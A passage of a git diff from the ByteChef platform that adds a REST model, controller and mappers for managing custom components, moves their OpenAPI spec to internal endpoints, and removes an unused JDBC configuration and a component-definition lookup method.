+    this.componentVersion = componentVersion;
+    return this;
+  }
+
+  /**
+   * The version of a custom component.
+   * @return componentVersion
+   */
+  
+  @Schema(name = "componentVersion", description = "The version of a custom component.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("componentVersion")
+  public @Nullable Integer getComponentVersion() {
+    return componentVersion;
+  }
+
+  public void setComponentVersion(@Nullable Integer componentVersion) {
+    this.componentVersion = componentVersion;
+  }
+
+  public CustomComponentModel createdBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+    return this;
+  }
+
+  /**
+   * The created by.
+   * @return createdBy
+   */
+  
+  @Schema(name = "createdBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The created by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdBy")
+  public @Nullable String getCreatedBy() {
+    return createdBy;
+  }
+
+  public void setCreatedBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+  }
+
+  public CustomComponentModel createdDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+    return this;
+  }
+
+  /**
+   * The created date.
+   * @return createdDate
+   */
+  @Valid 
+  @Schema(name = "createdDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The created date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdDate")
+  public @Nullable OffsetDateTime getCreatedDate() {
+    return createdDate;
+  }
+
+  public void setCreatedDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+  }
+
+  public CustomComponentModel description(@Nullable String description) {
+    this.description = description;
+    return this;
+  }
+
+  /**
+   * The description of a custom component.
+   * @return description
+   */
+  
+  @Schema(name = "description", description = "The description of a custom component.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("description")
+  public @Nullable String getDescription() {
+    return description;
+  }
+
+  public void setDescription(@Nullable String description) {
+    this.description = description;
+  }
+
+  public CustomComponentModel enabled(@Nullable Boolean enabled) {
+    this.enabled = enabled;
+    return this;
+  }
+
+  /**
+   * If a custom component is enabled or not.
+   * @return enabled
+   */
+  
+  @Schema(name = "enabled", description = "If a custom component is enabled or not.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("enabled")
+  public @Nullable Boolean getEnabled() {
+    return enabled;
+  }
+
+  public void setEnabled(@Nullable Boolean enabled) {
+    this.enabled = enabled;
+  }
+
+  public CustomComponentModel icon(@Nullable String icon) {
+    this.icon = icon;
+    return this;
+  }
+
+  /**
+   * The icon of a custom component.
+   * @return icon
+   */
+  
+  @Schema(name = "icon", description = "The icon of a custom component.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("icon")
+  public @Nullable String getIcon() {
+    return icon;
+  }
+
+  public void setIcon(@Nullable String icon) {
+    this.icon = icon;
+  }
+
+  public CustomComponentModel id(@Nullable Long id) {
+    this.id = id;
+    return this;
+  }
+
+  /**
+   * The id of an custom component.
+   * @return id
+   */
+  
+  @Schema(name = "id", description = "The id of an custom component.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("id")
+  public @Nullable Long getId() {
+    return id;
+  }
+
+  public void setId(@Nullable Long id) {
+    this.id = id;
+  }
+
+  public CustomComponentModel language(@Nullable LanguageEnum language) {
+    this.language = language;
+    return this;
+  }
+
+  /**
+   * The language in which the component is implemented
+   * @return language
+   */
+  
+  @Schema(name = "language", accessMode = Schema.AccessMode.READ_ONLY, description = "The language in which the component is implemented", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("language")
+  public @Nullable LanguageEnum getLanguage() {
+    return language;
+  }
+
+  public void setLanguage(@Nullable LanguageEnum language) {
+    this.language = language;
+  }
+
+  public CustomComponentModel lastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+    return this;
+  }
+
+  /**
+   * The last modified by.
+   * @return lastModifiedBy
+   */
+  
+  @Schema(name = "lastModifiedBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedBy")
+  public @Nullable String getLastModifiedBy() {
+    return lastModifiedBy;
+  }
+
+  public void setLastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+  }
+
+  public CustomComponentModel lastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+    return this;
+  }
+
+  /**
+   * The last modified date.
+   * @return lastModifiedDate
+   */
+  @Valid 
+  @Schema(name = "lastModifiedDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedDate")
+  public @Nullable OffsetDateTime getLastModifiedDate() {
+    return lastModifiedDate;
+  }
+
+  public void setLastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+  }
+
+  public CustomComponentModel name(String name) {
+    this.name = name;
+    return this;
+  }
+
+  /**
+   * The name of a custom component.
+   * @return name
+   */
+  @NotNull 
+  @Schema(name = "name", description = "The name of a custom component.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("name")
+  public String getName() {
+    return name;
+  }
+
+  public void setName(String name) {
+    this.name = name;
+  }
+
+  public CustomComponentModel title(@Nullable String title) {
+    this.title = title;
+    return this;
+  }
+
+  /**
+   * The title of a custom component.
+   * @return title
+   */
+  
+  @Schema(name = "title", description = "The title of a custom component.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("title")
+  public @Nullable String getTitle() {
+    return title;
+  }
+
+  public void setTitle(@Nullable String title) {
+    this.title = title;
+  }
+
+  public CustomComponentModel version(@Nullable Integer version) {
+    this.version = version;
+    return this;
+  }
+
+  /**
+   * Get version
+   * @return version
+   */
+  
+  @Schema(name = "__version", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("__version")
+  public @Nullable Integer getVersion() {
+    return version;
+  }
+
+  public void setVersion(@Nullable Integer version) {
+    this.version = version;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    CustomComponentModel customComponent = (CustomComponentModel) o;
+    return Objects.equals(this.componentVersion, customComponent.componentVersion) &&
+        Objects.equals(this.createdBy, customComponent.createdBy) &&
+        Objects.equals(this.createdDate, customComponent.createdDate) &&
+        Objects.equals(this.description, customComponent.description) &&
+        Objects.equals(this.enabled, customComponent.enabled) &&
+        Objects.equals(this.icon, customComponent.icon) &&
+        Objects.equals(this.id, customComponent.id) &&
+        Objects.equals(this.language, customComponent.language) &&
+        Objects.equals(this.lastModifiedBy, customComponent.lastModifiedBy) &&
+        Objects.equals(this.lastModifiedDate, customComponent.lastModifiedDate) &&
+        Objects.equals(this.name, customComponent.name) &&
+        Objects.equals(this.title, customComponent.title) &&
+        Objects.equals(this.version, customComponent.version);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(componentVersion, createdBy, createdDate, description, enabled, icon, id, language, lastModifiedBy, lastModifiedDate, name, title, version);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class CustomComponentModel {\n");
+    sb.append("    componentVersion: ").append(toIndentedString(componentVersion)).append("\n");
+    sb.append("    createdBy: ").append(toIndentedString(createdBy)).append("\n");
+    sb.append("    createdDate: ").append(toIndentedString(createdDate)).append("\n");
+    sb.append("    description: ").append(toIndentedString(description)).append("\n");
+    sb.append("    enabled: ").append(toIndentedString(enabled)).append("\n");
+    sb.append("    icon: ").append(toIndentedString(icon)).append("\n");
+    sb.append("    id: ").append(toIndentedString(id)).append("\n");
+    sb.append("    language: ").append(toIndentedString(language)).append("\n");
+    sb.append("    lastModifiedBy: ").append(toIndentedString(lastModifiedBy)).append("\n");
+    sb.append("    lastModifiedDate: ").append(toIndentedString(lastModifiedDate)).append("\n");
+    sb.append("    name: ").append(toIndentedString(name)).append("\n");
+    sb.append("    title: ").append(toIndentedString(title)).append("\n");
+    sb.append("    version: ").append(toIndentedString(version)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/openapi.yaml b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/openapi.yaml
index 35e6f186ab1..e52ede9df69 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/openapi.yaml
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/openapi.yaml
@@ -1,32 +1,232 @@
 ---
 openapi: "3.0.1"
 info:
-  title: "The Platform Custom Component Public API"
+  title: "The Platform Custom Component Internal API"
   version: "1"
 servers:
-  - url: "/api/platform/v1"
+  - url: "/api/platform/internal"
 tags:
   - name: "custom-component"
-    description: "The Platform Custom Component Public API"
+    description: "The Platform Custom Component Internal API"
+#  - name: "custom-component-tag"
+#    description: "The Automation Custom Component Tag Internal API"
 paths:
-  /custom-components/deploy:
-    post:
-      description: "Deploy a new custom component."
-      summary: "Deploy a new custom component"
+  /custom-components:
+    get:
+      description: "Get Custom Components."
+      summary: "Get Custom Components"
       tags:
         - "custom-component"
-      operationId: "deployCustomComponent"
-      requestBody:
-        content:
-          multipart/form-data:
-            schema:
-              type: "object"
-              properties:
-                componentFile:
-                  description: "The file of a custom component."
-                  type: "string"
-                  format: "binary"
-        required: true
+      operationId: "getCustomComponents"
+      responses:
+        "200":
+          description: "A list of Custom Components."
+          content:
+            application/json:
+              schema:
+                type: "array"
+                items:
+                  $ref: "#/components/schemas/CustomComponent"
+#  /custom-component/tags:
+#    get:
+#      description: "Get custom component tags."
+#      summary: "Get custom component tags"
+#      tags:
+#        - "custom-component-tag"
+#      operationId: "getCustomComponentTags"
+#      responses:
+#        "200":
+#          description: "The list of custom component tags."
+#          content:
+#            application/json:
+#              schema:
+#                description: "The response object that contains the array of tags."
+#                type: "array"
+#                items:
+#                  $ref: "#/components/schemas/Tag"
+  /custom-components/{id}:
+    delete:
+      description: "Delete an custom component."
+      summary: "Delete an custom component"
+      tags:
+        - "custom-component"
+      operationId: "deleteCustomComponent"
+      parameters:
+        - name: "id"
+          description: "The id of an custom component."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+      responses:
+        "204":
+          description: "Successful operation."
+    get:
+      description: "Get an custom component by id."
+      summary: "Get an custom component by id"
+      tags:
+        - "custom-component"
+      operationId: "getCustomComponent"
+      parameters:
+        - name: "id"
+          description: "The id of an custom component."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+      responses:
+        "200":
+          description: "The custom component object."
+          content:
+            application/json:
+              schema:
+                $ref: "#/components/schemas/CustomComponent"
+  /custom-components/{id}/enable/{enable}:
+    patch:
+      description: "Enable/disable a custom component."
+      summary: "Enable/disable a custom component."
+      tags:
+        - "custom-component"
+      operationId: "enableCustomComponent"
+      parameters:
+        - name: "id"
+          description: "The id of the custom component."
+          in: "path"
+          required: true
+          schema:
+            type: "integer"
+            format: "int64"
+        - name: "enable"
+          description: "Enable/disable the custom component."
+          in: "path"
+          required: true
+          schema:
+            type: "boolean"
       responses:
         "204":
           description: "Successful operation."
+#  /custom-components/{id}/tags:
+#    put:
+#      description: "Updates tags of an existing Custom Components."
+#      summary: "Updates tags of an existing Custom Components"
+#      tags:
+#        - "custom-component-tag"
+#      operationId: "updateApiConnectionTags"
+#      parameters:
+#        - name: "id"
+#          description: "The id of an Custom Components."
+#          in: "path"
+#          required: true
+#          schema:
+#            type: "integer"
+#            format: "int64"
+#      requestBody:
+#        content:
+#          application/json:
+#            schema:
+#              $ref: "#/components/schemas/UpdateTagsRequest"
+#        required: true
+#      responses:
+#        "204":
+#          description: "Successful operation."
+components:
+  schemas:
+    CustomComponent:
+      description: "An custom component."
+      required:
+        - "name"
+        - "version"
+      properties:
+        componentVersion:
+          description: "The version of a custom component."
+          type: "integer"
+        createdBy:
+          description: "The created by."
+          type: "string"
+          readOnly: true
+        createdDate:
+          description: "The created date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        description:
+          description: "The description of a custom component."
+          type: "string"
+        enabled:
+          description: "If a custom component is enabled or not."
+          type: "boolean"
+        icon:
+          description: "The icon of a custom component."
+          type: "string"
+        id:
+          description: "The id of an custom component."
+          type: "integer"
+          format: "int64"
+        language:
+          description: "The language in which the component is implemented"
+          type: "string"
+          enum:
+            - JAVA
+            - JAVASCRIPT
+            - PYTHON
+            - RUBY
+          readOnly: true
+        lastModifiedBy:
+          description: "The last modified by."
+          type: "string"
+          readOnly: true
+        lastModifiedDate:
+          description: "The last modified date."
+          type: "string"
+          format: "date-time"
+          readOnly: true
+        name:
+          description: "The name of a custom component."
+          type: "string"
+        title:
+          description: "The title of a custom component."
+          type: "string"
+        __version:
+          type: "integer"
+#    Tag:
+#      description: "A tag."
+#      required:
+#        - "name"
+#      properties:
+#        createdBy:
+#          description: "The created by."
+#          type: "string"
+#          readOnly: true
+#        createdDate:
+#          description: "The created date."
+#          type: "string"
+#          format: "date-time"
+#          readOnly: true
+#        id:
+#          description: "The id of the tag."
+#          type: "integer"
+#          format: "int64"
+#        lastModifiedBy:
+#          description: "The last modified by."
+#          type: "string"
+#          readOnly: true
+#        lastModifiedDate:
+#          description: "The last modified date."
+#          type: "string"
+#          format: "date-time"
+#          readOnly: true
+#        name:
+#          description: "The name of the tag."
+#          type: "string"
+#        __version:
+#          type: "integer"
+#    UpdateTagsRequest:
+#      description: "The request object that contains the array of tags."
+#      type: "object"
+#      properties:
+#        tags:
+#          type: "array"
+#          items:
+#            $ref: "#/components/schemas/Tag"
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApiController.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApiController.java
new file mode 100644
index 00000000000..2264c5c5856
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApiController.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest;
+
+import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
+import com.bytechef.commons.util.CollectionUtils;
+import com.bytechef.ee.platform.customcomponent.configuration.facade.CustomComponentFacade;
+import com.bytechef.ee.platform.customcomponent.configuration.service.CustomComponentService;
+import com.bytechef.ee.platform.customcomponent.configuration.web.rest.model.CustomComponentModel;
+import com.bytechef.platform.annotation.ConditionalOnEEVersion;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.util.List;
+import org.springframework.core.convert.ConversionService;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@RestController("com.bytechef.platform.custom.component.configuration.web.rest.CustomComponentApiController")
+@RequestMapping("${openapi.openAPIDefinition.base-path.platform:}/internal")
+@ConditionalOnCoordinator
+@ConditionalOnEEVersion
+public class CustomComponentApiController implements CustomComponentApi {
+
+    private final CustomComponentFacade customComponentFacade;
+    private final CustomComponentService customComponentService;
+    private final ConversionService conversionService;
+
+    @SuppressFBWarnings("EI")
+    public CustomComponentApiController(
+        CustomComponentFacade customComponentFacade, CustomComponentService customComponentService,
+        ConversionService conversionService) {
+
+        this.customComponentFacade = customComponentFacade;
+        this.customComponentService = customComponentService;
+        this.conversionService = conversionService;
+    }
+
+    @Override
+    public ResponseEntity<Void> deleteCustomComponent(Long id) {
+        customComponentFacade.delete(id);
+
+        return ResponseEntity.ok()
+            .build();
+    }
+
+    @Override
+    public ResponseEntity<Void> enableCustomComponent(Long id, Boolean enable) {
+        customComponentService.enableCustomComponent(id, enable);
+
+        return ResponseEntity.noContent()
+            .build();
+    }
+
+    @Override
+    public ResponseEntity<CustomComponentModel> getCustomComponent(Long id) {
+        return ResponseEntity.ok(
+            conversionService.convert(customComponentService.getCustomComponent(id), CustomComponentModel.class));
+    }
+
+    @Override
+    public ResponseEntity<List<CustomComponentModel>> getCustomComponents() {
+        return ResponseEntity.ok(
+            CollectionUtils.map(
+                customComponentFacade.getCustomComponents(),
+                openSdkComponent -> conversionService.convert(openSdkComponent, CustomComponentModel.class)));
+    }
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/CustomComponentMapper.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/CustomComponentMapper.java
new file mode 100644
index 00000000000..7356cc3150f
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/CustomComponentMapper.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest.mapper;
+
+import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent;
+import com.bytechef.ee.platform.customcomponent.configuration.web.rest.mapper.config.EePlatformCustomComponentConfigurationMapperSpringConfig;
+import com.bytechef.ee.platform.customcomponent.configuration.web.rest.model.CustomComponentModel;
+import org.mapstruct.InheritInverseConfiguration;
+import org.mapstruct.Mapper;
+import org.mapstruct.Mapping;
+import org.mapstruct.extensions.spring.DelegatingConverter;
+import org.springframework.core.convert.converter.Converter;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@Mapper(config = EePlatformCustomComponentConfigurationMapperSpringConfig.class)
+public interface CustomComponentMapper extends Converter<CustomComponent, CustomComponentModel> {
+
+    @Override
+    CustomComponentModel convert(CustomComponent customComponent);
+
+    @InheritInverseConfiguration
+    @DelegatingConverter
+    @Mapping(target = "component", ignore = true)
+    CustomComponent invertConvert(CustomComponentModel customComponentModel);
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/config/EePlatformCustomComponentConfigurationMapperSpringConfig.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/config/EePlatformCustomComponentConfigurationMapperSpringConfig.java
new file mode 100644
index 00000000000..35438015ad0
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/mapper/config/EePlatformCustomComponentConfigurationMapperSpringConfig.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest.mapper.config;
+
+import com.bytechef.ee.platform.customcomponent.configuration.web.rest.adapter.EePlatformCustomComponentConfigurationConversionServiceAdapter;
+import com.bytechef.web.rest.mapper.DateTimeMapper;
+import org.mapstruct.MapperConfig;
+import org.mapstruct.extensions.spring.SpringMapperConfig;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+@MapperConfig(componentModel = "spring", uses = {
+    DateTimeMapper.class, EePlatformCustomComponentConfigurationConversionServiceAdapter.class
+})
+@SpringMapperConfig(
+    conversionServiceAdapterPackage = "com.bytechef.ee.platform.customcomponent.configuration.web.rest.adapter",
+    conversionServiceAdapterClassName = "EePlatformCustomComponentConfigurationConversionServiceAdapter")
+public interface EePlatformCustomComponentConfigurationMapperSpringConfig {
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/build.gradle.kts b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/build.gradle.kts
index 6976702b1c6..30f63a62464 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/build.gradle.kts
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/build.gradle.kts
@@ -1,6 +1,5 @@
 dependencies {
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework:spring-context")
     implementation("org.springframework:spring-tx")
     implementation(project(":server:libs:core:commons:commons-util"))
@@ -10,8 +9,6 @@ dependencies {
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-file-storage:platform-custom-component-file-storage-api"))
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-loader"))
 
-    implementation("org.springframework.data:spring-data-jdbc")
-
     testImplementation("org.springframework.data:spring-data-jdbc")
     testImplementation(project(":server:libs:config:liquibase-config"))
     testImplementation(project(":server:libs:test:test-int-support"))
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/config/PlatformCustomComponentJdbcRepositoryConfiguration.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/config/PlatformCustomComponentJdbcRepositoryConfiguration.java
deleted file mode 100644
index 4a8614ad253..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/config/PlatformCustomComponentJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.platform.customcomponent.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.platform.customcomponent.configuration.repository")
-class PlatformCustomComponentJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacadeImpl.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacadeImpl.java
index abdbe851df0..d16fb9a5191 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacadeImpl.java
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/facade/CustomComponentFacadeImpl.java
@@ -9,9 +9,7 @@
 
 import com.bytechef.commons.util.OptionalUtils;
 import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.definition.ActionDefinition;
 import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.component.definition.TriggerDefinition;
 import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent;
 import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent.Language;
 import com.bytechef.ee.platform.customcomponent.configuration.service.CustomComponentService;
@@ -22,10 +20,8 @@
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.IOException;
 import java.net.URI;
-import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Path;
-import java.util.Collections;
 import java.util.List;
 import java.util.UUID;
 import org.springframework.cache.CacheManager;
@@ -65,34 +61,6 @@ public void delete(Long id) {
         customComponentFileStorage.deleteCustomComponentFile(customComponent.getComponent());
     }
 
-    @Transactional(readOnly = true)
-    @Override
-    public CustomComponentDefinitionRecord getCustomComponentDefinition(Long id) {
-        CustomComponent customComponent = customComponentService.getCustomComponent(id);
-
-        URL componentUrl = customComponentFileStorage.getCustomComponentFileURL(customComponent.getComponent());
-
-        ComponentHandler componentHandler = ComponentHandlerLoader.loadComponentHandler(
-            componentUrl, customComponent.getLanguage(),
-            componentUrl.toString() + UUID.randomUUID(), cacheManager);
-
-        ComponentDefinition componentDefinition = componentHandler.getDefinition();
-
-        List<ActionDefinitionRecord> actions = componentDefinition.getActions()
-            .orElse(Collections.emptyList())
-            .stream()
-            .map(this::toActionDefinitionRecord)
-            .toList();
-
-        List<TriggerDefinitionRecord> triggers = componentDefinition.getTriggers()
-            .orElse(Collections.emptyList())
-            .stream()
-            .map(this::toTriggerDefinitionRecord)
-            .toList();
-
-        return new CustomComponentDefinitionRecord(actions, triggers);
-    }
-
     @Transactional(readOnly = true)
     @Override
     public List<CustomComponent> getCustomComponents() {
@@ -135,11 +103,6 @@ private void create(
         customComponentService.create(customComponent);
     }
 
-    /**
-     * Security Note: PATH_TRAVERSAL_IN - Temporary files are created with system-generated names in the temp directory,
-     * not user-controlled paths. Access is restricted to administrators.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private ComponentDefinition loadComponentDefinition(Language language, byte[] bytes) throws IOException {
         Path path = Files.createTempFile("custom_component", language.getExtension());
 
@@ -157,20 +120,6 @@ private ComponentDefinition loadComponentDefinition(Language language, byte[] by
         }
     }
 
-    private ActionDefinitionRecord toActionDefinitionRecord(ActionDefinition actionDefinition) {
-        return new ActionDefinitionRecord(
-            actionDefinition.getName(),
-            OptionalUtils.orElse(actionDefinition.getTitle(), null),
-            OptionalUtils.orElse(actionDefinition.getDescription(), null));
-    }
-
-    private TriggerDefinitionRecord toTriggerDefinitionRecord(TriggerDefinition triggerDefinition) {
-        return new TriggerDefinitionRecord(
-            triggerDefinition.getName(),
-            OptionalUtils.orElse(triggerDefinition.getTitle(), null),
-            OptionalUtils.orElse(triggerDefinition.getDescription(), null));
-    }
-
     private void update(CustomComponent customComponent, ComponentDefinition componentDefinition) {
         customComponent.setDescription(
             OptionalUtils.orElse(componentDefinition.getDescription(), null));
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 9a9e5b8a309..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.platform.customcomponent.configuration.config.PlatformCustomComponentJdbcRepositoryConfiguration
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-loader/src/main/java/com/bytechef/ee/platform/customcomponent/loader/ComponentHandlerLoader.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-loader/src/main/java/com/bytechef/ee/platform/customcomponent/loader/ComponentHandlerLoader.java
index 7376cb9c979..adada8aaca9 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-loader/src/main/java/com/bytechef/ee/platform/customcomponent/loader/ComponentHandlerLoader.java
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-loader/src/main/java/com/bytechef/ee/platform/customcomponent/loader/ComponentHandlerLoader.java
@@ -9,7 +9,6 @@
 
 import com.bytechef.component.ComponentHandler;
 import com.bytechef.ee.platform.customcomponent.configuration.domain.CustomComponent.Language;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.IOException;
 import java.net.URISyntaxException;
 import java.net.URL;
@@ -24,11 +23,6 @@
  */
 public class ComponentHandlerLoader {
 
-    /**
